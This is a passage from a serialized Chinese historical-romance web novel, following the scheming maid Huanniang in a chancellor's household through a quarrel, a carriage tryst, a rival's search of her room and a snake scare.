“回你XXXX,肯定是他睡了那贱人,呵,我就知道,整天在我面前装纯情,但其实都是脏东西,不要脸的狗玩意儿。” 而宁从夏听到这话直接就没忍住。 破口大骂的同时,将屋子里的酒瓶子砸的稀巴烂。 那狰狞的脸,简直要比声音更有看头。 欢娘忍不住在想,公子真该自己来看个清楚,他喜欢的到底是个什么玩意儿。 “宁姑娘,公子他心里最在意的肯定是您啊……” “在意你个XXX,是不是他让你来的?就是故意来告诉我这些,恶心我?是不是他说,就算没有我,他也多的是女人?” “呵,我知道他有很多女人,但我不在乎,我早就不要他了,回去转告他,以后不管是他还是他的人,别再出现在我面前,否则……见一个,我砍一个。” 说着,又是一个酒坛子被砸的粉碎。 欢娘静静的看着她发疯。 她毫无素养的破口大骂。 “猪狗不如的东西!穿人衣说鬼话,行畜生事,活着不如一头猪,死了连狗都嫌你肉腥!” “还想让我给他做妾?他哪儿来的脸?他狗屁不是。” 骂了很久,怎么难听怎么来。 欢娘看着她,怕是都疯了。 而隔壁,她难以想象,公子听到他最心爱的女子这么诋毁他,侮辱他,作何感想? 公子可是相府费尽心力培养出来的,有教养的公子。 他虽向往江湖的随性,可只怕没体会过江湖中人的另外一面。 “宁姑娘,气归气,但公子绝不是您口中那种人,这其中,也许有误会,就算不是,公子也定是有难言之隐。” 砰…… 一个酒杯,突的砸向欢娘。 差一点,她就破了相。 欢娘眼底划过一丝冷意。 “就算你伤了我,我也要说,公子真心待公子,你若也有真心……” “狗屁的真心,就那蠢货,也就你们把他当成宝,我告诉你,我从来没喜欢过他,是他一直死皮赖脸揪着我不放,我早就腻了,烦了。” “我跟他回来,不过是想看看这公子哥,能有几分真心?但结果就是和我想的也没差。” “幸好我眼睛没瞎,从来没看上过他这种一无是处的纨绔子弟。” “以后别拿你们那些事来恶心我,滚蛋。” 欢娘还欲劝一劝。 可宁从夏根本就是失去了所有理智。 气炸的宁从夏,直接就将她给扔了出来。 “再让我看到他,我一定把他大卸八块。” 门哐当一声关上。 她冰冷的话,简直就是振聋发聩。 欢娘被扔在门口,撞到了胳膊,还扭伤了脚,疼的她掉眼泪。 可结果,却是极好的。 看着隔壁紧闭的门,她一瘸一拐的,自己走了出去。 看来,公子和宁从夏之间,是完了啊。 那接下来,她该怎么让宁从夏生不如死呢? 欢娘一瘸一拐的离开了酒楼。 天色已黑,寒风徐徐,她一抬头,便看到不远处,一辆熟悉的马车停在街口。 只见对面酒馆,二楼,她一眼便看到了那挺拔如松的男人。 第四十六章在车里,乖 居然是相爷。 欢娘抬头便看到他,嘴角忍不住勾起。 现在她真的觉得,老天爷好像开了眼,在眷顾她。 于是,她一瘸一拐朝着对面走去。 只是侍卫萧一守在了一楼。 “爷在谈正事,闲杂人等,不得打扰。” 萧一拦住,不让她上。 欢娘原本也没打算要去叨扰,她还是有自知之明的。 “萧一大哥,我知道,我肯定不打扰,只是我今日出府办事,不小心扭伤了脚,实在走不动。” “而且,天也黑了,这里到相府,有些远,我一弱女子,实在是害怕的很。” 她柔声说着,真是有种说不出的可怜。 这让他想起,欢娘第一次跑到长风院,可怜兮兮的样子。 现在他悟了,这人,惯会装。 “那你想怎么办?” 萧一的心情有些微妙。 只觉得她这小丫鬟手段是真的很不高明,一而再,再而三的,都是同一招。 他该拒绝的。 可爷的态度,太摩棱两口了。 “我可以在爷的马车里,等他吗?” 欢娘柔声问道。 萧一愣了一下。 “我保证不打扰,只是求爷,少一段路,若是……若是爷一会儿看到我不高兴了,我就下车,自己走回去,绝不为难侍卫大哥。” “爷若怪罪,我就说是我偷溜上去的,和大哥您无关。” 萧一看着她,居然一下就有了这么多幼稚的狡辩吗? 就为了上车? 他冷着脸,把头轻轻的偏开,挥了挥手。 欢娘立即道谢,就一瘸一拐的,上了马车。 二楼,萧怀停目光淡淡的从那笨拙的身影上闪过,嘴角勾起一抹浅淡的嘲讽。 上了车,欢娘一开始头脑还清醒着,一门心思想着接下来该怎么对付宁从夏。 可想着想着,她就睡着了。 直到马车晃了一下,她惊醒,便看到相爷掀开帘子,进了车里。 她顺着座椅就缩到了地上。 “爷……” 闪着一双还没睡醒的眸,带着笑,看着他。 地上也铺了毯子的,很软。 欢娘想着自己是来蹭车的,来蹭车那就要有蹭车的自觉。 只见爷扫了她一眼,没什么表情,径直走到车里,落座。 她倒了热茶,又将暖手炉递到他手里去。 一股酒味铺面而来。 “爷您喝酒了?” 她抓着他的手,就没松开。 反而还好奇的盯着他看,醉酒了,会是什么样子呢? 谁料下一秒她的手就被甩开了。 然后敲了敲车窗。 下一刻,马车出发,缓缓前行。 欢娘也暗松了口气,蹭车是蹭到了,而且还挺轻松。 她默默的掏出手帕,用手打湿,给爷擦脸。 手帕顺着额头一点点的往下,擦拭着脸颊,到下巴。 然后,是修长的脖颈。 欢娘看了看,见爷没反应,她便伸手,将他领口的扣子解开。 越发修长白皙的脖颈,一路顺着往下,是精美的锁骨。 她就看了两眼,不自觉的咽了咽口水。 又怕小动作被发现,下意识去偷看相爷。 他始终保持着那高傲的姿态,眼眸向下,漫不经心的扫向她的脸。 欢娘又紧张的咽了咽口水。 手突然变得无力,她连忙就要收回。 只见相爷双手撑着座椅,往后一仰。 “继续。” 许是喝多了,声音略有些沙哑。 欢娘心都漏了一拍。 又竭力勉强定住心神,说是继续,她就再次打湿帕子,身子朝着他靠近。 手帕贴在肌肤上,带着些许的凉意,欢娘指腹不经意从他脖颈上划过时,都能感觉到他身体的炽热。 热意约莫是会传染的。 欢娘一阵阵的燥热,甚至渐渐觉得自己那握着潮湿手帕的手,都出汗了。 本来那白皙的脖子也染上了一抹红意。 她看了一眼,偷瞄相爷似乎是喝多了,闭上了眼。 于是她又大大方方,看了许久。 可闭着眼的男人却突然清醒,看着近在咫尺的人,缓缓直起身子靠近。 逼得欢娘只能往后躲,偏着偏着,腰部用力的很,她整个身子摇摇晃晃,慌乱的用手去撑着地,也再没地方能退。 一张俊脸,就在她面前放大。 炙热的体温,缠着她。 欢娘被捞起,被锁在怀里,尽情索取时,只知道爷他确实醉的不轻。 这腊月寒霜,她只觉得热。 马车不知何时停下,处于一片黑暗中。 车外,车夫和侍卫,都退开了。 马车轻微晃动着,车厢里的暖意漫过四肢百骸,缠缠绵绵。 真是过于草率了。 欢娘回到屋里时,已经是深夜。 她跟随相爷进府,自然没人敢说什么,可照样有人看到。 不过相爷都不在意,她就更不怕。 如今,宁从夏不再回来,她就没有非要留在这里的理由了。 这一夜,欢娘搬到这新屋子里,睡的是极好。 可一面欢喜一面愁。 公子病了。 一大早小童便找了过来。 “欢娘,公子他昨天半夜,吐血了……” 他有些着急。 说昨日随老夫人回来以后,就一言不发。 他觉得不对劲,就一直在外看守着,直到半夜突然有动静。 他进去一看,屋里都是血,公子吐血昏迷。 “大夫说,公子那是急火攻心,郁结难消,伤了心脉。” “很严重吗?” 欢娘一听这些都不是什么好词儿,慌了神。 “那倒是不伤及性命,只是公子若走不出来,只怕会病的越来越重。” “欢娘,你说现在该怎么办?” 小童着急的跺脚。 “要不……我去将宁姑娘找来?” 他对昨天发生的事情一无所知,满心都觉得,怕是只有那宁姑娘能治好公子的心病。 欢娘摇了摇头。 “只怕现在公子是不想再见那宁姑娘了。” 说着,她让小童带路,去看看。 等见到了人,欢娘觉得他还在呼吸,还有心跳,可人好像已经走了一阵。 一脸的绝望,眼睛虽然睁着,但却没什么光彩。 “公子,您这是怎么了?” 昨日那件事虽是自己的计划,但老夫人总不能告诉公子,是他们设计要他去看清宁从夏的真面目。 所以她和小童一样,装不知道。 绝望的眼神看过来,他眼眶通红。 墨发披散,脸苍白难看,那脸稚气还未完全褪去。 他还只是个少年郎。 看的欢娘心头一酸,还不等她再说什么,萧晋文突然就一头扎了过来,直接扎进她怀里。 屋外,一到阴影露了个头,便又藏起来了。 第四十七章您就这么糟践奴婢吗? “欢娘……” 萧晋文声音有些嘶哑,突然就扑上来,撞入欢娘怀里,搂住了她的腰。 声音有些哽咽。 可是却没说什么,也没哭,只是有着无尽的悲伤。 欢娘暗叹口气,轻轻拍着公子的背。 “公子,可是因为宁姑娘才思念成疾?” 她柔声问道。 萧晋文扎在她怀里,不吭声,可她却感觉他埋在自己腰间那个地方,有些湿了。 “公子还小呢,许多经历也才开始而已,那宁姑娘和公子无缘,过客而已,公子就别再念着她了。” “不念,她不值得本公子喜欢,本公子只是恼恨,瞎了眼,为何看上那么个人。” 萧晋文哑着声音,颇有些咬牙切齿。 可身体却因为伤心,在轻轻的发抖。 “谁都有迷糊,犯蠢的时候,公子也是人。” 嘴上,欢娘找了一堆话来劝解着。 “更何况,公子是真心喜欢那宁姑娘的,一旦动了真心,又还会有多少理智呢?” 可心底还真是没忍住鄙夷公子,看人的眼光,真不怎么样。 许久。 他情绪好像平复了些。 “你这话说的,倒像是个过来人,欢娘,可有过心上人?” 只是人却疯了,居然跟她这么个丫鬟,讨论这些。 欢娘下意识想摇头,不打算闲扯。 可现在是不是应该要为去长风院,先做些准备了呢? “不瞒公子,奴婢……确实遇到了心上人。” 她深吸口气,脑海里已经想好了说辞。 萧晋文甚至都忘了要难过,猛地从她怀里直起来。 只是眼睛有点红,但绝对没有哭过的样子。 他那表情好像是在说,我就随口问问,真没想到,你还真有啊。 “你那心上人,也随意糟践你的心意?” “倒也不算,奴婢精心为他准备的东西,他都收了,只是态度一直不算热,性子冷,总是阴晴不定的,哪怕奴婢把心肝都剖给他看,他却总是嘲讽奴婢。” 欢娘认真道。 萧晋文听的就更认真。 “收了你的东西,不表态?那他……也不算什么好人啊。” …… 他说的咬牙切齿,好像在说,那可不就跟宁从夏一样了吗? 欢娘也愣了一下,倒是没想到公子会这样理解。 “不是,他是好人,只是……我们身份悬殊,奴婢在他眼中,就是个卑贱的丫鬟而已。” “你说的,谁啊?” 萧晋文却听的莫名。 欢娘一直都在相府,她能接触到的人,多半就是相府的。 用身份悬殊来形容?难道是个很体面的奴才? “你说,本公子做主,成全你们,你有本公子照着,我还不信,这相府还有谁敢嫌弃你身份卑贱。” 说到这个,他激动的都站起来了。 他作为主子被心爱的女人嫌弃,侮辱,而他的丫鬟,居然也一样。 光是想着,就怒不可遏。 “只怕是……不妥。” 欢娘为难的摇了摇头。 “怎么,难道本公子的话,他还不听吗?” “当然不是,只是……” 欢娘一副着急的样子,好像要解释。 可心里却在想着,该怎么让公子顺理成章的想到相爷呢? 可就在这时,门口传来了一阵脚步声。 “奴才见过相爷。” 小童的声音也随之响起。 “父亲。” 床上,萧晋文已经看到了他,赶忙起身。 唯独欢娘,她的反应,就是最慢的。 如果不是因为那相爷在这家中不是能开玩笑的人,此刻她都要以为,是公子在戏耍她。 “嗯。” 低沉的声音从身后传来。 她暗握紧了拳头。 总觉得,自己这是又被抓包了。 她垂着头行了礼,赶紧退到一边去。 小童倒是很机灵,已经赶紧找了凳子,放在床边。 “大夫怎么说?” 萧怀停往床边一坐,那盛气凌人的气场,衬托的公子越发的像个还没长大的孩子。 并且此刻这孩子,还又委屈,又柔弱。 欢娘偷摸瞄了一眼床边的父子俩。 也不知,他日公子是不是也如今日的相爷这般? 听两人谈话,相爷是来表关心的。 问的很简单,却也认真。 萧晋文答的跟背功课似的,不知道的还以为是他人生病,和他无关。 而且看他的样子,似乎还有些愧疚,觉得自己就不该生病。 “既病了,学堂那边先请假,好好修养。” “你一贯喜欢自由,若不想在家待着,便带上护卫,去外头走走,闯一闯,离开京都,也无妨。” 相爷的声音,总是透着些许冷意的。 可此刻,只见公子一副傻了的表情,盯着他。 欢娘也有些错愕。 相爷素来是个极其板正端方,注重规矩的人,他对公子的要求一贯严厉,学业,礼仪,教养。 除此以外,从未说过别的。 就连今日来探病,都已经很奇怪了。 “父亲,晋文让您丢脸了。” 怔愣片刻后,萧晋文红了眼。 因为在他眼里,父亲绝不会无缘无故说这些话的,他突然不严厉了,事出反常必有妖。 他觉得父亲那是嘲讽。 肯定觉得他很没出息,丢了萧家的脸。 “小事,不至于就丢了脸,就算丢了,那也就是丢萧晋文的,和相府,和我,关系不大。” 萧怀停面无表情的道。 一番话,把萧晋文再次说的发懵,眼里满是疑惑和懵懂。 欢娘都愣住了。 这话,怪打击人的,可似乎也是事实。 “你年纪尚小,多丢几次脸,多吃几次亏,都是经验,再大些,你便能懂,这只是微不足道的小事。” 萧怀停又道。 “父亲……” 萧晋文想反驳,不是小事,都要他半条命了。 “出去走走,我派萧七给你。” 他突然伸出手,拍了拍他的肩膀,似乎带着老父亲的语重心长。 萧晋文怔住了。 半响后,咬咬牙,点了点头。 因为他知道,父亲将他的心腹都给他了,肯定是认真的。 一旁,欢娘还没反应过来。 看相爷要在这里,她已经去大厨房,准备午饭了。 可公子这是又要外出吗?前世可没发生过这样的事情。 她有些凌乱。 相爷这样的安排,也不知是好是坏。 丰盛的午饭。 欢娘伺候着相爷用餐。 大公子他已经睡着了,大夫说了要多休息,所以没人去把他唤醒。 “梅花用完了?” 欢娘恭恭敬敬的在给相爷夹菜,却听他突然道。 第四十八章撑好身子,配合,邀宠 欢娘下意识就看了眼周围,那神情,好像接下来她要做点什么见不得人的事。 “是没了。” 她趁着布菜时,轻声道。 “是吗?那我院里的梅花,怎么那么多?” 相爷的语气,可太友善。 “奴婢才舍不得捡地上的梅花给爷您做吃食,那些花儿只能外用,不能内服。” 欢娘连忙道。 不知道他这突然气的什么,她也懒得去想,哄就完事儿。 “所以,我那一院的梅花,不要了?” 可没见哄的多好,语气依旧冷。 “要,自然是要的,怎么可能不要?” “要?落了一地,我看着碍眼,已经吩咐采菊,找人扫了。” 他带着三分嘲讽的语气,好像还有几分不满和责备。 欢娘心底咯噔了一声。 她怎么觉得,爷就是故意要找她麻烦呢? 难道因为刚才那些话,他听到了?不高兴? “那明日……” “我讨厌做事半途而废之人,既然你今日不要,那日后,也别要了。” 她想了想,才小心翼翼的开口。 可话都没说完就被打断。 不满的情绪也更加浓烈。 “爷这是……不准我再去长风院找您吗?” 欢娘真无奈了,哄不好,那只能是装委屈了。 爷这人,拉着人缠绵时那般疯狂热烈,可衣服一穿,便是另外一种性情。 “爷这是厌弃了奴婢啊,奴婢也有自知之明,您不喜欢,那奴婢不去就是。” 她又放低了些声音,说到最后,好像都哽咽了。 可就算这样,也没换来他半分安慰。 欢娘偷偷扫了一眼,只见他脸色更冷了些。 这是又哄又骗,都不行啊? 也未免太难说话了些。 欢娘暗叹口气,看着他一脸淡漠的吃了午饭,她慢吞吞的在他身边,绕了几圈。 假装在认真收拾碗筷,一瘸一拐的在他面前晃了又晃,时不时还倒吸口凉气,似乎很疼。 半响,相爷就如冰山一般。 欢娘慢慢的走到他身边,要去拿筷子,然后假意一摔,就扑到了他怀里。 再抬头时,已经是一脸委屈样儿了。 萧怀停垂下眸,便看她红了眼眶,眼巴巴的看着他,轻咬嘴唇,水波潋滟的眸倒映着他的样子。 就仿佛,她满心都是他。 可萧怀停又极清楚,她那是装的,却又想起她方才和晋文说的那些话。 就算……勉强……真的有那么几分真情,可也有假意。 而她表现的那般痴情,那就是有利可图。 “怎么?一个丫鬟,竟是连这种活都干不好吗?” 想到这些,他就无端的烦,便伸出手,用力捏住了她的下巴。 想将她这伪装的深情嘴脸给撕碎。 “爷,您是不是忘了,昨夜答应过奴婢什么?” 这下欢娘眼里有泪,是疼出来的。 相爷的手,太硬,太用力了。 昨夜的交集?那是在马车里。 萧怀停眉头轻轻一簇。 “奴婢崴了脚,可昨晚爷非逼着奴婢撑着身子配合您,爷您说了,若事后疼的厉害,会给奴婢请大夫,给奴婢上药的。” “爷,您忘了?” 欢娘就连质问,都很委屈,可怜。 滚烫的泪就那么砸在萧怀停手背上。 仿佛在提醒他,昨日马车里的疯狂。 不过,又有哪一次,和她在一起时,不疯狂的呢? 萧怀停逐渐意识到,他的理智似乎在随着他的身体,不受控了。 “醉酒之事,谁会放在心上?” 他突然就更烦了。 居然被这么个不大聪明的丫鬟,牵着心思走。 所以他冷着脸,甩开楚楚可怜的欢娘,大步离去。 欢娘不知所措。 三分装的,七分却是真的彷徨。 她满脑子的疑惑,思来想去的都没能明白爷为何对她这般没好脸色。 总不能是这样快就厌恶了? 可昨晚爷对她还是很有兴趣的。 到底是哪里惹他不高兴了?难道真是因为她方才和公子说的那些话? 可她自问,话说的好听极了。 她想了许久,依旧不得结论。 再后来,是那刘老嬷嬷匆匆跑了进来,看到在地上的她,赶忙扶起。 为了不被刘老嬷嬷猜忌,她依旧一瘸一拐,说是自己不慎崴了脚,收拾碗筷时跌倒在地。 她总不会以为,相爷那般矜贵的主子,会虐打她吧? “你不是让我帮你看着些房间吗?方才我瞧见小翠来了院子,说是月姨娘落了东西在哪里,她得进去找。” 显然,刘老嬷嬷没多想。 毕竟她跌倒这件事,还比不上小翠要闯她房间,来的要紧。 “门我上了锁,她应该进不去。” 欢娘不紧不慢。 得亏她一直都很谨慎,可不是什么人要进她房间,都能进去的。 “那窗户,有锁吗?” 刘老嬷嬷问了一句。 欢娘有些惊愕。 她敢? 下一刻,她便加快步伐,出了饭厅,连忙往自己屋子过去。 可似乎是来不及了。 窗户敞开着,门因为上了锁没能被打开,却看到小翠在里边,翻翻找找。 欢娘急的心都提到了嗓子眼。 “来人呐,抓贼。” 可她要这时候开门冲进去把小翠赶走,那才是傻子。 眼下这院子里没什么人,她敞开了嗓子吆喝着。 “刘嬷嬷,要劳烦您跑一趟,看看小童在做什么?请他来帮我抓贼。” 什么落了东西来找? 欢娘可不信,那是月莹的真实意图。 她随手掏出一把铜板,也没具体数。 但刘嬷嬷接了,就是很高兴。 乐呵呵的赶忙去通风报信了。 欢娘走到屋前,快速将窗户关上。 继续大喊着,势必要把人都给喊来。 屋内,小翠一听到动静就要冲出来,可已经来不及了。 她只看到欢娘一张放大的脸出现在窗户边,还不等她跑过去,光线就是一暗。 小翠顿时害怕起来。 “欢娘,你干什么?开门。” 她连忙拍打着窗户,外头欢娘的喊叫声下,她越发的心慌。 没一会儿。 终于有人来了。 承德院的仆人们听着声音冲到欢娘门口。 “贼呢?哪里有贼?” 一大个头提着木棍就冲了进来,嗓门最大,东张西望的,就在找贼。 眼神凌厉,有杀气。 欢娘看着眼生,没去搭话。 直到看到刘婆和小童进来后,才道。 “里面,她人在里面,我屋子是上了锁的,她翻窗户进去……” 第四十九章公子说跟他同房 欢娘故作紧张的将自己看到的情况说出来。 当然,没说看到那人是小翠。 刘婆婆拿了她的好处,自然是顺着她,一句话都没说,只是一个劲的点头。 “是,是,是这样,我也看到了。” 她还帮了两句话。 “太放肆了,太大胆了,这里可是相府,我倒是要看看,什么人跟在相府放肆。” 小童一听是真的。 连忙就喊来了护院。 把屋子的门窗看好,欢娘开了门。 护院冲进屋子里,把那躲在床底下的小翠抓了出来。 当欢娘看到小翠居然慌的跑去床底下时,心道,这下,这盆脏水泼的可真够臭的。 “误会,我不是贼……” 小翠被俩护院架着出去时,脸色苍白,慌忙的解释着,自己只是来帮月姨娘来拿东西。 毕竟月姨娘之前就住在这里,大家也都知道,又都是熟人。 “你拿东西非要趁着人不在,还跳窗?” 刘婆子现在是站在欢娘这边的。 一看大家因为小翠的解释,好像都信了,立刻提出疑问。 “就是,该不会是在做什么见不得人的事吧?” 紧跟着,那一开始拿着木棍的仆人也附和。 他站在最后面,人高马大的,就是很惹眼。 小翠脸色巨变。 “你找找看,可有丢东西?” 一旁小童听到这话,也觉得小翠很奇怪,欢娘现在可是公子身边的红人啊,不能任人欺负。 欢娘目光从那高个子身上移开,就看到小翠一脸惊慌的摇着头。 一直在否认,她不是小偷,没偷东西,只是来找东西的。 “那你找到了吗?” 她那做贼心虚的样子,也不知到底在算计什么。 欢娘扫了一圈这屋子。 自己才住进来,可月莹已经住了很久了,小翠又贴身伺候月莹,对这里定十分的熟悉。 “没,找了一圈,还是没找到,也许是记错了,我现在就回去问问月姨娘。” 说着,小翠就想往外跑。 “先找找看。” 小童一个眼神,护院将人拦下,示意欢娘。 可就这么翻,能翻出什么结果呢? 直觉告诉她,被人翻过的屋子是不安全的,尤其是敌人翻过的。 所以欢娘走到了小翠面前,搜她身。 里里外外的,都抓了一遍。 “我说了没偷东西……” 小翠被搜的尴尬,愤怒,无地自容,气急败坏的大喊着,还企图挣扎。 欢娘却突然放了手,她一个踉跄,往后退了两步就倒下了。 人摔在地上,衣裳也凌乱,很丢脸。 “既然东西没找到,不如去请月姨娘过来,好好的找一找,上下翻一翻,我可以先搬去那边的小屋住几天。” “等月姨娘在这屋子里找到要找的东西了,我再搬回来。” 在场的人都没想到她会这么说,愣了一下。 小童更是蹙眉,一脸不解。 倒是小翠,听到这话竟是松了口气,目光从屋子里扫过,眼中的心虚闪的那样快。 “你确定吗?” 小童不懂好端端的,这么折腾干嘛?他凑近欢娘,小声问道。 “嗯,若是这样住着,我也不踏实。” 见她都这么说,小童也不好再勉强。 只是住回以前那屋子,又得搬来搬去的,麻烦。 “要不这两天就委屈你,先住耳房?” 小童提议,那里方便。 铺盖带过去,就能先将就几天。 要知道,他的提议,可是代表了公子的。 所以在场的人都是一惊。 通房丫鬟住在耳房,供主人差遣,这是职责。 可若是公子非要她住进去,那意义可就不同了。 欢娘没拒绝,当场就收了铺盖,跟着小童离开。 “慢慢找吧,这里交给你了。” 从小翠面前走过时,她还带着笑意。 幸亏上次被相爷抓了个现行以后,她将自己的家当重新找了个地方藏。 而且她本就不信任月莹住了这么多年的屋子。 要走,也没什么好挂念的。 只是小翠却慌了神,哪里还敢继续跑进去找东西。 听雨轩里,月莹听到欢娘居然直接搬去耳房住以后,愤怒极了。 “那贱人……” 她气的不知该怎么骂人。 “姨娘,奴婢是按照您的吩咐去办了,可现在……她人搬走了,咱们要怎么办?” 小翠不敢提,生怕姨娘想起来都是因为闯了欢娘的屋子,才将人逼去公子房间的。 她怕提了,姨娘会罚她。 “能如何?等着就是,过个两日就说东西找到了,她自然就会搬回去。” “她以为,她逃得过吗?” 月莹咬牙切齿的道。 “可……这些天她都不在,所有人都知道奴婢去过那屋子,还不止一次,闹出这么大动静,若真的还放东西栽赃欢娘,能成功吗?” “万一还被她倒打一耙,姨娘,奴婢觉得咱们最好还是有万全的把握,再行动。” 小翠轻声劝解。 因为那欢娘可不是个好算计的,她们已经失败过多次了。 月莹是听进去了,可照旧是咬牙切齿,十分的不甘心。 “我就不信,她真有三头六臂,收拾不了她。” 另一边,欢娘搬进了耳房。 小童还特地去禀报了公子,公子得知后也没反对。 现在他心力交瘁的,怕是也懒得管他们这些下人的是非。 所以狭小的屋子,暂且就成了她的住处。 想到方才相爷的冷漠绝情,欢娘心有不安。 还是不放心,就往长风院跑了一趟。 可在门口,却真的被拦了。 他真的就不让她进去? 欢娘失落极了,丢了这份‘恩舍’简直是丢的莫名其妙。 傍晚。 大夫再次来探望公子,还给开了药。 欢娘拿着方子出门,柳大夫却追了出来。 “老夫还奉命,给姑娘看看脚。” 那是能奉谁的命? 欢娘有些小小的欣喜,看来相爷也不是完全厌弃了他。 其实脚上的伤不重,略有些红肿而已。 柳大夫看完以后,给了一瓶药膏,擦个两三天,便能痊愈。 傍晚。 月莹特来鸡汤,来探望公子。 欢娘也在一旁伺候着,而且和公子挨的很近,搬了个椅子坐在床边。 月莹只能坐在桌边,看到欢娘,眼底的恨意差点都要藏不住。 第五十章小小通房,想买凶杀人? “公子,你病的这样重,妾实在是不放心,不然今晚就让妾留在这儿,照顾你?” 她一双充满关切的眸,看着公子。 如今身份变了,她对公子的态度和也往日不同,那是女人看男人的眼神。 “没必要。” 只见公子态度冷淡,甚至还有些不耐烦。 “妾伺候您伺候惯了的,您这样,妾实在是不放心。” 月莹有些失望,但还不死心的争取着。 “有欢娘呢,她很会照顾人。” “辛苦你送来的鸡汤,好喝,我现在困了,想睡觉。” 她还想再说什么,公子已经极不耐烦的摆了摆手。 顿时,月莹那双带着期冀的目光就暗了下来,看欢娘时那狠厉的眼神,藏都藏不住。 “那奴婢送月姨娘离开。” 欢娘也不惧,直接迎了上去。 公子点头后,她便走向了月莹,背对着公子,她勾起了得意的微笑。 “月姨娘,请吧。” 这可把月莹气的不轻。 所以刚一出门,她就一巴掌甩了过来。 凌厉的像是要劈死人,极其突然,让人没有半点防备。 可欢娘还是躲开了。 月莹一个转身就是一个巴掌,却扇了个空。 力道之大,惯性之下她身子都有些偏。 她又震惊了。 根本不敢相信,她居然能避开那一巴掌,除非她预判了自己的动作。 “你……” “月姨娘还是冷静些的好,一会儿奴婢还要进去伺候公子,若让他看到奴婢脸上的巴掌印,只怕会不好看。” 欢娘眼底都是嘲讽。 那张妩媚的脸,皮肤嫩的好像能发光,最重要的是月莹总觉得跟她一笔,她还不算很女人。 那种从内而外的美艳,让人很不舒服。 感觉她就是狐狸精。 也没错,她本来就是。 月莹恶狠狠的扫过她。 “你以为你赢了吗?公子喜欢你?不过也是因皮肉而已,他若真在意,你又怎么还是通房?” 带着妒火,可更多的却是怒气。 理智告诉她不要逞口舌之快,可就是见不得她这小人得志的样子。 “这不很好吗?公子喜欢我的伺候,也喜欢我日日夜夜与他在一处,若是同姨娘这般,要见公子还得特地赶来,公子也想不起去你那处,可就太难受了。” 欢娘冷笑着,越说还越得意。 她知道月莹在意的是什么,这不,能气的她再次龇牙欲裂,却无话可说。 走时那怨毒的眼神,仿佛就在说,等着吧,我不会让你好过的。 欢娘保持着得意的笑容,目送着月莹离开。 然后才收敛,愁苦的叹了口气,进了主卧。 她也有她不得宠的烦恼啊。 公子不要她怎么伺候,打发她去休息。 欢娘端着水盆,就去了澡堂,之后的几天都要住耳房,所以洗漱只能将就一下了。 翌日,她一大早就去了长风院。 怀揣着忐忑的心情,最后还是被侍卫给拦了。 她见不着相爷,却也没见着采菊,想打听消息都不能。 现在她就有种辛辛苦苦付出,眼看着要收获时,可果实全都不见了。 她落了一场空。 之后的几天,就有些烦闷。 除了伺候公子,她就窝在原先那狭小的阴暗潮湿的房间里倒弄香料。 相爷冷落她,可丽姑姑拿去卖的香膏反响还不错,第一批已经卖完,还有大客户预定了五十瓶。 所以两人平分后,欢娘还赚了十两银子。 她盘算了一下自己的存款,从宁从夏那里赚到的,还有生意所得,刨除花费,有一百二十一两白银。 爷当初赏赐的二百两,现在还剩下一百五十两。 另外采菊姑娘送来的首饰珠宝,还没折算成银子。 她得想办法去打听打听,买凶杀人,会是什么行情。 因为就算是把宁从夏赶出相府,可比起她前世所受的苦,当真是还不算什么。 买凶,抓她,再将人囚禁起来,慢慢折磨。 夜晚,欢娘眼底涌现着要报仇的疯狂。 所以要再赚更多的银子,才行。 算清楚了,她便拿着水盆和衣物,去澡堂洗漱。 出来的时候,有些完了,澡堂只有她一人。 欢娘提了两个来回,才有一水盆的热水,她就着热水先洗了脸,褪去衣物,擦洗着身子。 冷风突然从背后吹来,冻的她瑟瑟发抖。 欢娘下意识看去,突然瞧见一颗黑黝黝的脑袋,闪着碧绿的幽光,正冷冷的盯着她,吐着信子,朝她游来。 一米长的身体,盘旋在房梁上,顺着欢娘的方向,快速移动。 “啊……” 寂静的院子里,被一声尖叫打破。 “有蛇,有蛇……” 仆人站在外面,看到一条大蛇往澡堂里钻去。 可突的一个黑影掠过,手抄木棍就冲了进去,抓住蛇的半个身子,硬生生靠蛮力将其抓了出来。 赶来的其他人,吓得凌乱,到处乱跑。 萧晋文听到动静也跑了出来。 “公子,好像是欢娘……” 小童望着澡堂那边说了一句,下一刻,萧晋文就冲了出去。 萧怀停应酬回来,才刚到府门口,采菊就小跑着走来。 他喝了些酒,走到承德院时,都有些恍惚。 可看到躺在主卧床榻上的欢娘时,被盖的严严实实,衣衫也放在一边。 脸色苍白,昏迷不醒。 他反而还清醒了些。 “父亲,您怎么过来了?” 萧晋文还刚好就在床前,看那样子,正守着,面露忧色。 “打扰你了?” 萧怀停平静的扫过床上的人,看着养子。 萧晋文有些茫然的摇了摇头。 “父亲可是听说了这里的事?没事的,毒蛇已经抓住了,我请了大夫给欢娘看过,毒素已清,明早就能醒。” 他巴拉巴拉的解释了一堆。 其实心里还没反应过来,父亲怎么会过来?一条蛇而已,值得父亲他老人家特意跑一趟? “她人为何躺在这里?” 萧怀停觉得儿子呱噪,皱了下眉。 萧晋文又是一惊,看反应,那是呆呆傻傻的。 “情况紧急,我从澡堂把人抱出来,她人已经晕了,又没穿衣服,远离人多,我只好护着她先来这里。” 说着,他好像才回忆起,当时他着着急忙慌冲进澡堂时的场景,脸一下就红了。 还越说越不自然,眼神闪躲,却又偷偷摸摸的去看欢娘。 那样的小动作,又怎么能逃过萧怀停的眼睛呢? 第五十一章欢娘,她不一样 “我记得,她是你的通房?” 他心一沉,面上却依旧淡然。 “是,父亲还记得她?” 萧晋文连忙点头。 毕竟欢娘在父亲面前冒头过好几次了,他有些期盼。 “总在你面前晃,很难不记得。” 萧怀停冷声道。 “她善良,本分,做事沉稳可靠,以前是我不懂事,现在才知道祖母真的都是为了我好。” 可却只听到养子笑着,说了一连串欢娘的优点。 偏偏这些优点,萧怀停从未在她身上看到过。 果真,她很不安分。 “我记得你才纳了一个妾?尚未娶亲之前,不可太放肆……” “可欢娘不一样。” 他才开口,就被打断了。 萧晋文着急的解释,那表情生怕父亲嫌弃欢娘似的。 “我没想纳她为妾,只要她一直在我身边,就挺好的。” 月莹,那是他醉酒犯下的糊涂事。 他绝不可能再来一回。 可萧怀停听到这话,眼神却是越发的冷了。 等欢娘再次有意识时,只看到黑蛇张开血盆大口朝着她来,她想跑,身体却被蛇尾困住。 而她马上就要被那蛇生吞。 “不要,不要……” 她惊叫着。 挥舞的手突然就被抓住,一睁眼就看到相爷那张冰冷的脸,近在咫尺。 欢娘愣了一下,不等对方开口责备,她一头扑进他怀里,怕的整个人都在颤抖着。 “有蛇,蛇,很大的蛇。” 她被吓得头脑一片空白。 她发誓,若是别的,或许她还能理智,可当看到是蛇的那一刻,她已经完全无法动弹了。 